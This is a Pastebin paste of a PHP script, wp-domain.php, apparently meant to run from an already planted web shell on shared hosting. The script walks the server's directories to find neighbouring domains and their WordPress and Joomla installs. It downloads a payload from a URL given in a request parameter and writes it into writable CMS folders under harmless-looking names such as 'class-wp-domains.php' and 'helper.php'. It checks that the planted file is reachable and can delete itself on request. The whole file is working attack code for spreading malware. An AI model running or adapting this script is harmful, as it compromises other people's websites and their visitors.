PalmaSolutions

wp-domain.php

Apr 8th, 2018
496
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 17.70 KB | None | 0 0
  1. <?php
  2. error_reporting (0);
  3. // error_reporting (E_ERROR | E_WARNING | E_PARSE | E_COMPILE_ERROR);
  4. // ini_set ('display_errors', 'on');
  5.  
  6. set_time_limit (0);
  7. ini_set ('max_execution_time', 100000);
  8.  
  9. // check /etc/apache2/logs/domlogs/
  10. // &
  11. // /var/cpanel/userdata/usammm/usammm.org
  12. // as config files domains incase of failure
  13.  
  14. // check if shell is http://example.com/shell.php
  15. // and path is: /home/foo/public_html/bar/shell.php
  16. // `bar` can be a path for this domain so the script should test /home/foo/public_html/
  17. // for results.
  18.  
  19. if (array_key_exists ('delete', $_REQUEST))
  20. {
  21. unlink(__FILE__);
  22. die;
  23. }
  24.  
  25. $wordpress_main_content = get_wordpress_main_content ();
  26. $joomla_main_content = get_joomla_main_content ();
  27.  
  28. $current_dir = getcwd ();
  29. $domain = remove_www (get_domain ($_SERVER['HTTP_HOST']));
  30.  
  31. $partial_domain = remove_tld ($domain);
  32.  
  33. $match_pos = strpos ($current_dir, $domain);
  34. $match_pos_partial = strpos ($current_dir, $partial_domain);
  35.  
  36. if ($match_pos !== false)
  37. {
  38. echo "&#10003; Matched domain name ($domain) with path: " . $current_dir . "<br>";
  39. $domains_dir = get_domains_dir ($current_dir, $match_pos);
  40.  
  41. if (!is_readable($domains_dir))
  42. {
  43. echo "&#10007; Unable to read directory: " . $domains_dir . "<br>";
  44. process ($domain, estimate_current_path());
  45. check_config ();
  46. die;
  47. }
  48.  
  49. foreach (get_valid_dirs ($domains_dir) as $dir)
  50. {
  51. $domain = clean_domain ($dir);
  52.  
  53. $dir = $domains_dir . '/' . $domain;
  54.  
  55. if (is_domain ($domain) && !is_dir_empty($dir))
  56. {
  57. process ($domain, $dir);
  58. }
  59. }
  60. }
  61. elseif ($match_pos_partial !== false)
  62. {
  63. echo "&#10003; Matched partial domain ($partial_domain) name with path: " . $current_dir . "<br>";
  64. $domains_dir = get_domains_dir ($current_dir, $match_pos_partial);
  65.  
  66. if (!is_readable($domains_dir))
  67. {
  68. echo "&#10007; Unable to read directory: " . $domains_dir . "<br>";
  69. process ($domain, estimate_current_path());
  70. check_config ();
  71. die;
  72. }
  73.  
  74. $domains = get_user_domains ();
  75.  
  76. if ($domains)
  77. {
  78. echo "&#10003; Reading from config files<br>";
  79.  
  80. foreach (get_valid_dirs ($domains_dir) as $dir)
  81. {
  82. $domain = clean_domain ($dir);
  83.  
  84. $index = in_array_partial ($domain, $domains);
  85.  
  86. $dir = $domains_dir . '/' . $domain;
  87.  
  88. if ($index !== false && !is_dir_empty($dir))
  89. {
  90. process ($domains[$index], $dir);
  91. }
  92. }
  93. }
  94. else
  95. {
  96. echo "&#10003; Matching partial tlds<br>";
  97.  
  98. $domains = get_valid_dirs ($domains_dir);
  99.  
  100. if (empty ($domains))
  101. {
  102. echo "&nbsp;&nbsp;&nbsp;&nbsp; No domains were found.<br>";
  103. check_config();
  104. die;
  105. }
  106.  
  107. foreach ($domains as $dir)
  108. {
  109. $domain = clean_domain ($dir);
  110.  
  111. $complete_domain = is_domain_partial ($domain);
  112.  
  113. $dir = $domains_dir . '/' . $domain;
  114.  
  115. if ($complete_domain && !is_dir_empty($dir))
  116. {
  117. process ($complete_domain, $dir);
  118. }
  119. }
  120. }
  121. }
  122. else
  123. {
  124. echo "&#10007; Wasn't able to match domain name.<br>";
  125.  
  126. $domains_dir = estimate_current_path();
  127.  
  128. process ($domain, $domains_dir);
  129.  
  130. foreach (get_valid_dirs ($domains_dir) as $dir)
  131. {
  132. $domain = clean_domain ($dir);
  133.  
  134. $dir = $domains_dir . '/' . $domain;
  135.  
  136. if (is_domain ($domain) && !is_dir_empty($dir))
  137. {
  138. process ($domain, $dir);
  139. }
  140. }
  141.  
  142. check_config ();
  143. }
  144.  
  145.  
  146. function check_config ()
  147. {
  148. echo "<br>Checking configs...<br>";
  149. $domains = get_user_domains ();
  150. $current_user = get_current_user_name ();
  151.  
  152. if ($domains)
  153. {
  154. echo "&#10003; Reading from config files<br>";
  155. echo "&#10003; Found: " . sizeof($domains) . " domains for current user: $current_user<br>";
  156. foreach ($domains as $domain)
  157. {
  158. echo "&nbsp;&nbsp;&nbsp;&nbsp;-> domain: $domain<br>";
  159. }
  160. }
  161. else
  162. {
  163. echo "&#10007; Unable to read config files<br>";
  164. }
  165. }
  166.  
  167. function is_dir_empty ($dir)
  168. {
  169. if (!is_readable ($dir))
  170. {
  171. return NULL;
  172. }
  173.  
  174. return (count (scandir ($dir)) == 2);
  175. }
  176.  
  177. function in_array_partial ($partial_domain, $domains)
  178. {
  179. $i = 0;
  180.  
  181. foreach ($domains as $domain)
  182. {
  183. $partial_correct_domain = remove_tld ($domain);
  184.  
  185. if ($partial_correct_domain == $partial_domain)
  186. {
  187. return $i;
  188. }
  189.  
  190. $i++;
  191. }
  192.  
  193. return false;
  194. }
  195.  
  196. function bool_to_string ($var)
  197. {
  198. return $var ? 'true': 'false';
  199. }
  200.  
  201. function process ($domain, $dir)
  202. {
  203. $redeable = bool_to_string (is_readable ($dir));
  204. $writable = bool_to_string (is_writable ($dir));
  205.  
  206. echo "&nbsp;&nbsp;&nbsp;&nbsp;-> domain: $domain | path: $dir | readable: $redeable | writable: $writable";
  207.  
  208. list ($cms_path, $cms_name) = is_cms ($dir);
  209.  
  210. if ($cms_path)
  211. {
  212. echo " | is $cms_name (path: $cms_path)";
  213.  
  214. $main_php = null;
  215.  
  216. switch ($cms_name)
  217. {
  218. case 'wordpress':
  219. $main_php = inject_wordpress_main_php ($cms_path);
  220. break;
  221. case 'joomla':
  222. $main_php = inject_joomla_main_php ($cms_path);
  223. break;
  224. }
  225.  
  226. // neither wordpress nor joomla
  227. if (!$main_php)
  228. {
  229. echo "<br>";
  230. return;
  231. }
  232.  
  233. $assert_main_php = assert_main_php ($domain, $main_php, $dir);
  234.  
  235. if ($main_php)
  236. {
  237. if ($assert_main_php)
  238. {
  239. echo " | main.php: $main_php (direct link: $assert_main_php)";
  240. }
  241. else
  242. {
  243. echo " | main.php: $main_php";
  244. }
  245. }
  246. }
  247.  
  248. echo "<br>";
  249. }
  250.  
  251.  
  252.  
  253. function is_cms ($dir)
  254. {
  255. $joomla_path = is_joomla ($dir);
  256. if ($joomla_path)
  257. {
  258. return array($joomla_path, 'joomla');
  259. }
  260.  
  261. $wordpress_path = is_wordpress ($dir);
  262. if ($wordpress_path)
  263. {
  264. return array($wordpress_path, 'wordpress');
  265. }
  266. }
  267.  
  268. function get_search_keyword ()
  269. {
  270. if (array_key_exists ('keyword', $_REQUEST))
  271. {
  272. return $_REQUEST['keyword'];
  273. }
  274. else
  275. {
  276. return "ttmaintt";
  277. }
  278. }
  279.  
  280. function assert_main_php ($domain, $main_php, $dir)
  281. {
  282. $parts = explode ("/", $main_php);
  283. $parts = array_reverse ($parts);
  284.  
  285. $file_name = false;
  286.  
  287. foreach ($parts as $part)
  288. {
  289. if ($file_name)
  290. {
  291. $file_name = '/' . $part . '/' . $file_name;
  292. }
  293. else
  294. {
  295. $file_name = '/' . $part;
  296. }
  297.  
  298. $link = $domain . $file_name;
  299. $link = str_replace ("//", "/", $link);
  300. $link = "http://" . $link;
  301.  
  302. $content = url_get_contents ($link);
  303.  
  304. if ($content !== false && strpos (strtolower ($content), strtolower (get_search_keyword ())) !== false)
  305. {
  306. return "http://" . $domain . $file_name;
  307. }
  308. }
  309.  
  310. return false;
  311. }
  312.  
  313. function get_wordpress_main_content ()
  314. {
  315. return get_main_content ('main');
  316. }
  317.  
  318. function get_joomla_main_content ()
  319. {
  320. return get_main_content ('joom_main');
  321. }
  322.  
  323. function get_main_content($key)
  324. {
  325. $main_content = false;
  326.  
  327. if (array_key_exists ($key, $_REQUEST))
  328. {
  329. try
  330. {
  331. $main_content = url_get_contents ($_REQUEST[$key]);
  332. if ($main_content === false)
  333. {
  334. echo "&#10007; Unable to read $key.php from: " . $_REQUEST[$key] . "<br>";
  335. }
  336. else
  337. {
  338. echo "&#10003; Downloaded $key.php from " . $_REQUEST[$key] . "<br>";
  339. }
  340. }
  341. catch (Exception $e)
  342. {
  343. $main_content = false;
  344. echo "&#10007; Unable to read $key.php from: " . $_REQUEST[$key] . "<br>";
  345. }
  346. }
  347.  
  348. return $main_content;
  349. }
  350.  
  351. function inject_wordpress_main_php ($wordpress_path)
  352. {
  353. global $wordpress_main_content;
  354.  
  355. $output_file_name = 'class-wp-domains.php';
  356. $dirs = array('/wp-admin/', '/wp-content/', '/wp-includes/', '/');
  357. return inject_main_php ($wordpress_path, $output_file_name, $dirs, $wordpress_main_content);
  358. }
  359.  
  360. function inject_joomla_main_php ($joomla_path)
  361. {
  362. global $joomla_main_content;
  363.  
  364. $output_file_name = 'helper.php';
  365. $dirs = array('/components/com_content/', '/administrator/', '/');
  366. // var_dump($joomla_path, $output_file_name, $dirs, $joomla_main_content);
  367. return inject_main_php ($joomla_path, $output_file_name, $dirs, $joomla_main_content);
  368. }
  369.  
  370. function inject_main_php ($cms_path, $output_file_name, $dirs, $main_content)
  371. {
  372. if ($main_content == false)
  373. {
  374. return false;
  375. }
  376.  
  377. $file_path = false;
  378.  
  379. foreach ($dirs as $dir)
  380. {
  381. if (is_writable ($cms_path . $dir))
  382. {
  383. $file_path = $cms_path . $dir . $output_file_name;
  384. break;
  385. }
  386. }
  387.  
  388. if ($file_path === false)
  389. {
  390. return false;
  391. }
  392.  
  393. file_put_contents ($file_path, $main_content);
  394.  
  395. if (file_exists ($file_path))
  396. {
  397. return $file_path;
  398. }
  399. else
  400. {
  401. return false;
  402. }
  403. }
  404.  
  405. function get_current_user_name ()
  406. {
  407. $current_user = posix_getpwuid(posix_geteuid());
  408.  
  409. return $current_user['name'];
  410. }
  411.  
  412. function get_user_domains ()
  413. {
  414. $current_user = posix_getpwuid(posix_geteuid());
  415. $user_domains = array();
  416.  
  417. if (is_readable ("/var/named"))
  418. {
  419. $domain_list = scandir ("/var/named");
  420.  
  421. foreach($domain_list as $domain)
  422. {
  423. if (strpos ($domain, ".db"))
  424. {
  425. $domain = str_replace ('.db', '', $domain);
  426. $file_owner = fileowner ("/etc/valiases/" . $domain);
  427. if ($file_owner !== FALSE)
  428. {
  429. $owner = posix_getpwuid ($file_owner);
  430. if ($owner['name'] == $current_user['name'])
  431. {
  432. $user_domains[] = $domain;
  433. }
  434. }
  435. }
  436. }
  437.  
  438. return $user_domains;
  439. }
  440. else
  441. {
  442. return false;
  443. }
  444. }
  445.  
  446. function remove_tld ($domain)
  447. {
  448. $parts = explode ('.', $domain, 2);
  449.  
  450. return $parts[0];
  451. }
  452.  
  453. function is_wordpress ($path)
  454. {
  455. $dirs = get_dirs_recursive ($path);
  456.  
  457. foreach ($dirs as $dir)
  458. {
  459. if (file_exists ($dir . '/wp-config.php') && file_exists ($dir . '/wp-admin/') && file_exists ($dir . '/wp-includes/'))
  460. {
  461. return $dir;
  462. }
  463. }
  464.  
  465. return false;
  466. }
  467.  
  468. function is_joomla ($path)
  469. {
  470. $dirs = get_dirs_recursive ($path);
  471.  
  472. foreach ($dirs as $dir)
  473. {
  474. if (file_exists ($dir . '/configuration.php') && file_exists ($dir . '/components/com_content/') && file_exists ($dir . '/administrator/components/'))
  475. {
  476. return $dir;
  477. }
  478. }
  479.  
  480. return false;
  481. }
  482.  
  483. function get_dirs_recursive ($dir)
  484. {
  485. if (class_exists('RecursiveIteratorIterator') && class_exists('RecursiveDirectoryIterator') && defined('RecursiveDirectoryIterator::SKIP_DOTS'))
  486. {
  487. $iterator = new RecursiveIteratorIterator(
  488. new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),
  489. RecursiveIteratorIterator::SELF_FIRST,
  490. RecursiveIteratorIterator::CATCH_GET_CHILD
  491. );
  492.  
  493. $dir_list = array($dir);
  494.  
  495. foreach ($iterator as $path => $dir)
  496. {
  497. if ($dir->isDir())
  498. {
  499. $dir_list[] = $path;
  500. }
  501. }
  502.  
  503. return $dir_list;
  504. }
  505. else
  506. {
  507. // echo "[debug] wasn't able to find itereator<br>";
  508. return array($dir);
  509. }
  510. }
  511.  
  512. function get_domains_dir ($dir, $pos)
  513. {
  514. $dir = substr ($dir, 0, $pos);
  515. return substr ($dir, 0, strrpos ($dir, '/'));
  516. }
  517.  
  518. function get_valid_dirs ($dir)
  519. {
  520. $dirs = get_dirs ($dir);
  521. return array_filter ($dirs, 'could_be_domain');
  522. }
  523.  
  524. function could_be_domain ($dir)
  525. {
  526. $dir = clean_domain ($dir);
  527. return strlen ($dir) > 6 && !in_array ($dir, get_common_dirs());
  528. }
  529.  
  530. function get_dirs ($dir)
  531. {
  532. $dir = rtrim ($dir, '/');
  533. return array_filter(glob($dir . '/*'), 'is_dir');
  534. }
  535.  
  536. function have_tld ($domain)
  537. {
  538. $parts = explode ('.', $domain, 2);
  539.  
  540. return sizeof ($parts) > 1;
  541. }
  542.  
  543. function is_domain ($domain)
  544. {
  545. return filter_var (gethostbyname ($domain), FILTER_VALIDATE_IP);
  546. }
  547.  
  548. function is_domain_partial ($partial_domain)
  549. {
  550. if (have_tld ($partial_domain))
  551. {
  552. if (filter_var (gethostbyname ($partial_domain), FILTER_VALIDATE_IP))
  553. {
  554. return $partial_domain;
  555. }
  556. else
  557. {
  558. return false;
  559. }
  560. }
  561. else
  562. {
  563. $tlds = get_tlds();
  564.  
  565. foreach ($tlds as $tld)
  566. {
  567. $hostname = filter_var (gethostbyname ($partial_domain . '.' . $tld), FILTER_VALIDATE_IP);
  568.  
  569. if ($hostname)
  570. {
  571. return $partial_domain . '.' . $tld;
  572. }
  573. }
  574.  
  575. return false;
  576. }
  577. }
  578.  
  579. function get_common_dirs()
  580. {
  581. return array (
  582. 'css', 'blog', 'store', 'cgi-bin', 'wp-admin', 'wp-content', 'uploads', 'includes', 'html',
  583. 'wp-includes'
  584. );
  585. }
  586.  
  587. function get_tlds ()
  588. {
  589. return array (
  590. 'aero', 'asia', 'biz', 'cat', 'com', 'coop', 'info', 'int', 'jobs', 'mobi', 'museum', 'name', 'net', 'org', 'post',
  591. 'pro', 'tel', 'travel', 'xxx', 'ac', 'ad', 'ae', 'af', 'ag', 'ai', 'al', 'am', 'an', 'ao', 'aq', 'ar', 'as', 'at',
  592. 'au', 'aw', 'ax', 'az', 'ba', 'bb', 'bd', 'be', 'bf', 'bg', 'bh', 'bi', 'bj', 'bl', 'bm', 'bn', 'bo', 'bq', 'br',
  593. 'bs', 'bt', 'bv', 'bw', 'by', 'bz', 'ca', 'cc', 'cd', 'cf', 'cg', 'ch', 'ci', 'ck', 'cl', 'cm', 'cn', 'co', 'cr',
  594. 'cu', 'cv', 'cw', 'cx', 'cy', 'cz', 'de', 'dj', 'dk', 'dm', 'do', 'dz', 'ec', 'ee', 'eg', 'eh', 'er', 'es', 'et',
  595. 'eu', 'fi', 'fj', 'fk', 'fm', 'fo', 'fr', 'ga', 'gb', 'gd', 'ge', 'gf', 'gg', 'gh', 'gi', 'gl', 'gm', 'gn', 'gp',
  596. 'gq', 'gr', 'gs', 'gt', 'gu', 'gw', 'gy', 'hk', 'hm', 'hn', 'hr', 'ht', 'hu', 'id', 'ie', 'il', 'im', 'in', 'io',
  597. 'iq', 'ir', 'is', 'it', 'je', 'jm', 'jo', 'jp', 'ke', 'kg', 'kh', 'ki', 'km', 'kn', 'kp', 'kr', 'kw', 'ky', 'kz',
  598. 'la', 'lb', 'lc', 'li', 'lk', 'lr', 'ls', 'lt', 'lu', 'lv', 'ly', 'ma', 'mc', 'md', 'me', 'mf', 'mg', 'mh', 'mk',
  599. 'ml', 'mlc', 'mm', 'mn', 'mo', 'mp', 'mq', 'mr', 'ms', 'mt', 'mu', 'mv', 'mw', 'mx', 'my', 'mz', 'na', 'nc', 'ne',
  600. 'nf', 'ng', 'ni', 'nl', 'no', 'np', 'nr', 'nu', 'nz', 'om', 'pa', 'pe', 'pf', 'pg', 'ph', 'pk', 'pl', 'pm', 'pn',
  601. 'pr', 'ps', 'pt', 'pw', 'py', 'qa', 're', 'ro', 'rs', 'ru', 'rw', 'sa', 'sb', 'sc', 'sd', 'se', 'sg', 'sh', 'si',
  602. 'sj', 'sk', 'sl', 'sm', 'sn', 'so', 'sr', 'st', 'su', 'sv', 'sx', 'sy', 'sz', 'tc', 'td', 'tf', 'tg', 'th', 'tj',
  603. 'tk', 'tl', 'tm', 'tn', 'to', 'tp', 'tr', 'tt', 'tv', 'tw', 'tz', 'ua', 'ug', 'uk', 'um', 'us', 'uy', 'uz', 'va',
  604. 'vc', 've', 'vg', 'vi', 'vn', 'vu', 'wf', 'ws', 'ye', 'yt', 'za', 'zm', 'zw'
  605. );
  606. }
  607.  
  608. function clean_domain ($domain)
  609. {
  610. return substr($domain, strrpos($domain, '/') + 1);
  611. }
  612.  
  613. function not_www ($value)
  614. {
  615. return $value !== 'www';
  616. }
  617.  
  618. function get_domain ($domain)
  619. {
  620. $original = $domain = strtolower($domain);
  621. if (filter_var($domain, FILTER_VALIDATE_IP)) { return $domain; }
  622. $arr = array_slice(array_filter(explode('.', $domain, 4), 'not_www'), 0); //rebuild array indexes
  623. if (count($arr) > 2)
  624. {
  625. $count = count($arr);
  626. $_sub = explode('.', $count === 4 ? $arr[3] : $arr[2]);
  627. if (count($_sub) === 2) // two level TLD
  628. {
  629. $removed = array_shift($arr);
  630. if ($count === 4) // got a subdomain acting as a domain
  631. {
  632. $removed = array_shift($arr);
  633. }
  634. }
  635. elseif (count($_sub) === 1) // one level TLD
  636. {
  637. $removed = array_shift($arr); //remove the subdomain
  638. if (strlen($_sub[0]) === 2 && $count === 3) // TLD domain must be 2 letters
  639. {
  640. array_unshift($arr, $removed);
  641. }
  642. else
  643. {
  644. // non country TLD according to IANA
  645. $tlds = array(
  646. 'aero',
  647. 'arpa',
  648. 'asia',
  649. 'biz',
  650. 'cat',
  651. 'com',
  652. 'coop',
  653. 'edu',
  654. 'gov',
  655. 'info',
  656. 'jobs',
  657. 'mil',
  658. 'mobi',
  659. 'museum',
  660. 'name',
  661. 'net',
  662. 'org',
  663. 'post',
  664. 'pro',
  665. 'tel',
  666. 'travel',
  667. 'xxx',
  668. );
  669. if (count($arr) > 2 && in_array($_sub[0], $tlds) !== false) //special TLD don't have a country
  670. {
  671. array_shift($arr);
  672. }
  673. }
  674. }
  675. else // more than 3 levels, something is wrong
  676. {
  677. for ($i = count($_sub); $i > 1; $i--)
  678. {
  679. $removed = array_shift($arr);
  680. }
  681. }
  682. }
  683. elseif (count($arr) === 2)
  684. {
  685. $arr0 = array_shift($arr);
  686. if (strpos(join('.', $arr), '.') === false
  687. && in_array($arr[0], array('localhost','test','invalid')) === false) // not a reserved domain
  688. {
  689. // seems invalid domain, restore it
  690. array_unshift($arr, $arr0);
  691. }
  692. }
  693. return join('.', $arr);
  694. }
  695.  
  696. function remove_www ($domain)
  697. {
  698. return str_ireplace ('www.', '', $domain);
  699. }
  700.  
  701. function estimate_current_path ()
  702. {
  703. $request_uri_dir = dirname(strtok($_SERVER["REQUEST_URI"], '?'));
  704.  
  705. if ($request_uri_dir !== '/')
  706. {
  707. return str_replace (dirname(strtok($_SERVER["REQUEST_URI"], '?')), '', realpath(dirname(__FILE__)));
  708. } else {
  709. return realpath(dirname(__FILE__));
  710. }
  711. }
  712.  
  713. // function url_get_contents ($url)
  714. // {
  715. // if (function_exists ('file_get_contents'))
  716. // {
  717. // $url_get_contents_data = file_get_contents ($url);
  718. // }
  719. // elseif (function_exists('curl_exec'))
  720. // {
  721. // $conn = curl_init ($url);
  722. // curl_setopt ($conn, CURLOPT_SSL_VERIFYPEER, true);
  723. // curl_setopt ($conn, CURLOPT_FRESH_CONNECT, true);
  724. // curl_setopt ($conn, CURLOPT_RETURNTRANSFER, 1);
  725. // $url_get_contents_data = (curl_exec($conn));
  726. // curl_close ($conn);
  727. // }
  728. // elseif (function_exists ('fopen') && function_exists ('stream_get_contents'))
  729. // {
  730. // $handle = fopen ($url, "r");
  731. // $url_get_contents_data = stream_get_contents ($handle);
  732. // }
  733. // else
  734. // {
  735. // $url_get_contents_data = false;
  736. // }
  737.  
  738. // return $url_get_contents_data;
  739. // }
  740. function url_get_contents ($url)
  741. {
  742. $allowUrlFopen = preg_match ('/1|yes|on|true/i', ini_get ('allow_url_fopen'));
  743. if ($allowUrlFopen)
  744. {
  745. return file_get_contents($url);
  746. }
  747. elseif (function_exists ('curl_init'))
  748. {
  749. $c = curl_init ($url);
  750. curl_setopt ($c, CURLOPT_RETURNTRANSFER, 1);
  751. $contents = curl_exec ($c);
  752. curl_close ($c);
  753. if (is_string ($contents))
  754. {
  755. return $contents;
  756. }
  757. }
  758. return false;
  759. }
  760.  
  761. ?>
Advertisement
Add Comment
Please, Sign In to add comment